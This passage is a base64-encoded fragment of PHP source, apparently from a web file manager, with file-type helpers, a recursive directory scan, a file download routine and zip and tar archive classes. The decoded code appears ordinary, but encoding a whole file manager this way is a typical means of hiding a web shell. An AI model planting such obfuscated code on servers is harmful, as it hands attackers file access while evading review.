ICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBkZi1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncHNkJzoKICAgICAgICBjYXNlICdhaSc6CiAgICAgICAgY2FzZSAnZXBzJzoKICAgICAgICBjYXNlICdmbGEnOgogICAgICAgIGNhc2UgJ3N3Zic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1pbWFnZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZXhlJzoKICAgICAgICBjYXNlICdtc2knOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2JhdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJzsKICAgIH0KCiAgICByZXR1cm4gJGltZzsKfQoKLyoqCiAqIEdldCBpbWFnZSBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdpY28nLCAnZ2lmJywgJ2pwZycsICdqcGVnJywgJ2pwYycsICdqcDInLCAnanB4JywgJ3hibScsICd3Ym1wJywgJ3BuZycsICdibXAnLCAndGlmJywgJ3RpZmYnLCAncHNkJywgJ3N2ZycpOwp9CgovKioKICogR2V0IHZpZGVvIGZpbGVzIGV4dGVuc2lvbnMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKQp7CiAgICByZXR1cm4gYXJyYXkoJ2F2aScsICd3ZWJtJywgJ3dtdicsICdtcDQnLCAnbTR2JywgJ29nbScsICdvZ3YnLCAnbW92JywgJ21rdicpOwp9CgovKioKICogR2V0IGF1ZGlvIGZpbGVzIGV4dGVuc2lvbnMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X2F1ZGlvX2V4dHMoKQp7CiAgICByZXR1cm4gYXJyYXkoJ3dhdicsICdtcDMnLCAnb2dnJywgJ200YScpOwp9CgovKioKICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF90ZXh0X2V4dHMoKQp7CiAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgJ3R4dCcsICdjc3MnLCAnaW5pJywgJ2NvbmYnLCAnbG9nJywgJ2h0YWNjZXNzJywgJ3Bhc3N3ZCcsICdmdHBxdW90YScsICdzcWwnLCAnanMnLCAnanNvbicsICdzaCcsICdjb25maWcnLAogICAgICAgICdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BocHMnLCAncGh0bWwnLCAnaHRtJywgJ2h0bWwnLCAnc2h0bWwnLCAneGh0bWwnLCAneG1sJywgJ3hzbCcsICdtM3UnLCAnbTN1OCcsICdwbHMnLCAnY3VlJywKICAgICAgICAnZW1sJywgJ21zZycsICdjc3YnLCAnYmF0JywgJ3R3aWcnLCAndHBsJywgJ21kJywgJ2dpdGlnbm9yZScsICdsZXNzJywgJ3Nhc3MnLCAnc2NzcycsICdjJywgJ2NwcCcsICdjcycsICdweScsCiAgICAgICAgJ21hcCcsICdsb2NrJywgJ2R0ZCcsICdzdmcnLCAnc2NzcycsICdhc3AnLCAnYXNweCcsICdhc3gnLCAnYXNteCcsICdhc2h4JywgJ2pzeCcsICdqc3AnLCAnanNweCcsICdjZm0nLCAnY2dpJwogICAgKTsKfQoKLyoqCiAqIEdldCBtaW1lIHR5cGVzIG9mIHRleHQgZmlsZXMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3RleHRfbWltZXMoKQp7CiAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgJ2FwcGxpY2F0aW9uL3htbCcsCiAgICAgICAgJ2FwcGxpY2F0aW9uL2phdmFzY3JpcHQnLAogICAgICAgICdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnLAogICAgICAgICdpbWFnZS9zdmcreG1sJywKICAgICAgICAnbWVzc2FnZS9yZmM4MjInLAogICAgKTsKfQoKLyoqCiAqIEdldCBmaWxlIG5hbWVzIG9mIHRleHQgZmlsZXMgdy9vIGV4dGVuc2lvbnMKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3RleHRfbmFtZXMoKQp7CiAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgJ2xpY2Vuc2UnLAogICAgICAgICdyZWFkbWUnLAogICAgICAgICdhdXRob3JzJywKICAgICAgICAnY29udHJpYnV0b3JzJywKICAgICAgICAnY2hhbmdlbG9nJywKICAgICk7Cn0KCi8qKgogKiBHZXQgb25saW5lIGRvY3Mgdmlld2VyIHN1cHBvcnRlZCBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpCnsKICAgIHJldHVybiBhcnJheSgnZG9jJywgJ2RvY3gnLCAneGxzJywgJ3hsc3gnLCAncGRmJywgJ3BwdCcsICdwcHR4JywgJ2FpJywgJ3BzZCcsICdkeGYnLCAneHBzJywgJ3JhcicsICdvZHQnLCAnb2RzJyk7Cn0KCmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pCnsKICAgICRmaWxlVHlwZXNbJ3N3ZiddID0gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJzsKICAgICRmaWxlVHlwZXNbJ3BkZiddID0gJ2FwcGxpY2F0aW9uL3BkZic7CiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwogICAgJGZpbGVUeXBlc1snemlwJ10gPSAnYXBwbGljYXRpb24vemlwJzsKICAgICRmaWxlVHlwZXNbJ2RvYyddID0gJ2FwcGxpY2F0aW9uL21zd29yZCc7CiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvbi92bmQubXMtZXhjZWwnOwogICAgJGZpbGVUeXBlc1sncHB0J10gPSAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnOwogICAgJGZpbGVUeXBlc1snZ2lmJ10gPSAnaW1hZ2UvZ2lmJzsKICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlL3BuZyc7CiAgICAkZmlsZVR5cGVzWydqcGVnJ10gPSAnaW1hZ2UvanBnJzsKICAgICRmaWxlVHlwZXNbJ2pwZyddID0gJ2ltYWdlL2pwZyc7CiAgICAkZmlsZVR5cGVzWydyYXInXSA9ICdhcHBsaWNhdGlvbi9yYXInOwoKICAgICRmaWxlVHlwZXNbJ3JhJ10gPSAnYXVkaW8veC1wbi1yZWFsYXVkaW8nOwogICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW8veC1wbi1yZWFsYXVkaW8nOwogICAgJGZpbGVUeXBlc1snb2dnJ10gPSAnYXVkaW8veC1wbi1yZWFsYXVkaW8nOwoKICAgICRmaWxlVHlwZXNbJ3dhdiddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7CiAgICAkZmlsZVR5cGVzWyd3bXYnXSA9ICd2aWRlby94LW1zdmlkZW8nOwogICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW8veC1tc3ZpZGVvJzsKICAgICRmaWxlVHlwZXNbJ2FzZiddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7CiAgICAkZmlsZVR5cGVzWydkaXZ4J10gPSAndmlkZW8veC1tc3ZpZGVvJzsKCiAgICAkZmlsZVR5cGVzWydtcDMnXSA9ICdhdWRpby9tcGVnJzsKICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ2F1ZGlvL21wZWcnOwogICAgJGZpbGVUeXBlc1snbXBlZyddID0gJ3ZpZGVvL21wZWcnOwogICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW8vbXBlZyc7CiAgICAkZmlsZVR5cGVzWydtcGUnXSA9ICd2aWRlby9tcGVnJzsKICAgICRmaWxlVHlwZXNbJ21vdiddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlby9xdWlja3RpbWUnOwogICAgJGZpbGVUeXBlc1snM2dwJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsKICAgICRmaWxlVHlwZXNbJ200YSddID0gJ3ZpZGVvL3F1aWNrdGltZSc7CiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlby9xdWlja3RpbWUnOwogICAgJGZpbGVUeXBlc1snbTN1J10gPSAndmlkZW8vcXVpY2t0aW1lJzsKCiAgICAkZmlsZVR5cGVzWydwaHAnXSA9IFsnYXBwbGljYXRpb24veC1waHAnXTsKICAgICRmaWxlVHlwZXNbJ2h0bWwnXSA9IFsndGV4dC9odG1sJ107CiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dC9wbGFpbiddOwogICAgcmV0dXJuICRmaWxlVHlwZXNbJGV4dGVuc2lvbl07Cn0KCi8qKgogKiBUaGlzIGZ1bmN0aW9uIHNjYW5zIHRoZSBmaWxlcyBhbmQgZm9sZGVyIHJlY3Vyc2l2ZWx5LCBhbmQgcmV0dXJuIG1hdGNoaW5nIGZpbGVzCiAqIEBwYXJhbSBzdHJpbmcgJGRpcgogKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXIKICogQHJldHVybiBqc29uCiAqLwogZnVuY3Rpb24gc2NhbigkZGlyLCAkZmlsdGVyID0gJycpIHsKICAgICRwYXRoID0gRk1fUk9PVF9QQVRILicvJy4kZGlyOwogICAgIGlmKCRkaXIpIHsKICAgICAgICAgJGl0ZSA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcGF0aCkpOwogICAgICAgICAkcmlpID0gbmV3IFJlZ2V4SXRlcmF0b3IoJGl0ZSwgIi8oIiAuICRmaWx0ZXIgLiAiKS9pIik7CgogICAgICAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7CiAgICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7CiAgICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7CiAgICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgIm5hbWUiID0+ICRmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAgInR5cGUiID0+ICJmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgInBhdGgiID0+ICRsb2NhdGlvbiwKICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICAgIHJldHVybiAkZmlsZXM7CiAgICAgfQp9CgovKgpQYXJhbWV0ZXJzOiBkb3dubG9hZEZpbGUoRmlsZSBMb2NhdGlvbiwgRmlsZSBOYW1lLAptYXggc3BlZWQsIGlzIHN0cmVhbWluZwpJZiBzdHJlYW1pbmcgLSB2aWRlb3Mgd2lsbCBzaG93IGFzIHZpZGVvcywgaW1hZ2VzIGFzIGltYWdlcwppbnN0ZWFkIG9mIGRvd25sb2FkIHByb21wdApodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTM4MjE5OTIvMTE2NDY0MgoqLwoKZnVuY3Rpb24gZm1fZG93bmxvYWRfZmlsZSgkZmlsZUxvY2F0aW9uLCAkZmlsZU5hbWUsICRjaHVua1NpemUgID0gMTAyNCkKewogICAgaWYgKGNvbm5lY3Rpb25fc3RhdHVzKCkgIT0gMCkKICAgICAgICByZXR1cm4gKGZhbHNlKTsKICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7CgogICAgJGNvbnRlbnRUeXBlID0gZm1fZ2V0X2ZpbGVfbWltZXMoJGV4dGVuc2lvbik7CiAgICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHB1YmxpYyIpOwogICAgaGVhZGVyKCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcbiIpOwogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6ICRjb250ZW50VHlwZScpOwoKICAgICRjb250ZW50RGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCc7CgoKICAgIGlmIChzdHJzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAiTVNJRSIpKSB7CiAgICAgICAgJGZpbGVOYW1lID0gcHJlZ19yZXBsYWNlKCcvXC4vJywgJyUyZScsICRmaWxlTmFtZSwgc3Vic3RyX2NvdW50KCRmaWxlTmFtZSwgJy4nKSAtIDEpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cIiRmaWxlTmFtZVwiIik7CiAgICB9IGVsc2UgewogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cIiRmaWxlTmFtZVwiIik7CiAgICB9CgogICAgaGVhZGVyKCJBY2NlcHQtUmFuZ2VzOiBieXRlcyIpOwogICAgJHJhbmdlID0gMDsKICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7CgogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7CiAgICAgICAgbGlzdCgkYSwgJHJhbmdlKSA9IGV4cGxvZGUoIj0iLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTsKICAgICAgICBzdHJfcmVwbGFjZSgkcmFuZ2UsICItIiwgJHJhbmdlKTsKICAgICAgICAkc2l6ZTIgPSAkc2l6ZSAtIDE7CiAgICAgICAgJG5ld19sZW5ndGggPSAkc2l6ZSAtICRyYW5nZTsKICAgICAgICBoZWFkZXIoIkhUVFAvMS4xIDIwNiBQYXJ0aWFsIENvbnRlbnQiKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAkbmV3X2xlbmd0aCIpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1SYW5nZTogYnl0ZXMgJHJhbmdlJHNpemUyLyRzaXplIik7CiAgICB9IGVsc2UgewogICAgICAgICRzaXplMiA9ICRzaXplIC0gMTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtUmFuZ2U6IGJ5dGVzIDAtJHNpemUyLyRzaXplIik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuICRzaXplKTsKICAgIH0KCiAgICBpZiAoJHNpemUgPT0gMCkgewogICAgICAgIGRpZSgnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyk7CiAgICB9CiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTsKICAgICRmcCA9IGZvcGVuKCIkZmlsZUxvY2F0aW9uIiwgInJiIik7CgogICAgZnNlZWsoJGZwLCAkcmFuZ2UpOwoKICAgIHdoaWxlICghZmVvZigkZnApIGFuZCAoY29ubmVjdGlvbl9zdGF0dXMoKSA9PSAwKSkgewogICAgICAgIHNldF90aW1lX2xpbWl0KDApOwogICAgICAgIHByaW50KEBmcmVhZCgkZnAsIDEwMjQqJGNodW5rU2l6ZSkpOwogICAgICAgIGZsdXNoKCk7CiAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICBzbGVlcCgxKTsKICAgIH0KICAgIGZjbG9zZSgkZnApOwoKICAgIHJldHVybiAoKGNvbm5lY3Rpb25fc3RhdHVzKCkgPT0gMCkgYW5kICFjb25uZWN0aW9uX2Fib3J0ZWQoKSk7Cn0KCmZ1bmN0aW9uIGZtX2dldF90aGVtZSgpIHsKICAgICRyZXN1bHQgPSAnJzsKICAgIGlmKEZNX1RIRU1FID09ICJkYXJrIikgewogICAgICAgICRyZXN1bHQgPSAidGV4dC13aGl0ZSBiZy1kYXJrIjsKICAgIH0KICAgIHJldHVybiAkcmVzdWx0Owp9CgovKioKICogQ2xhc3MgdG8gd29yayB3aXRoIHppcCBmaWxlcyAodXNpbmcgWmlwQXJjaGl2ZSkKICovCmNsYXNzIEZNX1ppcHBlcgp7CiAgICBwcml2YXRlICR6aXA7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICAkdGhpcy0+emlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhcmNoaXZlIHdpdGggbmFtZSAkZmlsZW5hbWUgYW5kIGZpbGVzICRmaWxlcyAoUkVMQVRJVkUgUEFUSFMhKQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkZmlsZW5hbWUsICRmaWxlcykKICAgIHsKICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7CiAgICAgICAgaWYgKCRyZXMgIT09IHRydWUpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoJHRoaXMtPmFkZEZpbGVPckRpcigkZmlsZXMpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT56aXAtPm9wZW4oJGZpbGVuYW1lKTsKICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+emlwLT5leHRyYWN0VG8oJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZEZpbGVPckRpcigkZmlsZW5hbWUpCiAgICB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnppcC0+YWRkRmlsZSgkZmlsZW5hbWUpOwogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmFkZERpcigkZmlsZW5hbWUpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHJpdmF0ZSBmdW5jdGlvbiBhZGREaXIoJHBhdGgpCiAgICB7CiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgovKioKICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpCiAqLwpjbGFzcyBGTV9aaXBwZXJfVGFyCnsKICAgIHByaXZhdGUgJHRhcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgICR0aGlzLT50YXIgPSBudWxsOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIGFyY2hpdmUgd2l0aCBuYW1lICRmaWxlbmFtZSBhbmQgZmlsZXMgJGZpbGVzIChSRUxBVElWRSBQQVRIUyEpCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkZmlsZXMKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRmaWxlbmFtZSwgJGZpbGVzKQogICAgewogICAgICAgICR0aGlzLT50YXIgPSBuZXcgUGhhckRhdGEoJGZpbGVuYW1lKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT50YXItPm9wZW4oJGZpbGVuYW1lKTsKICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZEZpbGVPckRpcigkZmlsZW5hbWUpCiAgICB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkKICAgIHsKICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKCgovKioKICogU2F2ZSBDb25maWd1cmF0aW9uCiAqLwogY2xhc3MgRk1fQ29uZmlnCnsKICAgICB2YXIgJGRhdGE7CgogICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7CiAgICAgICAgJGZtX3VybCA9ICR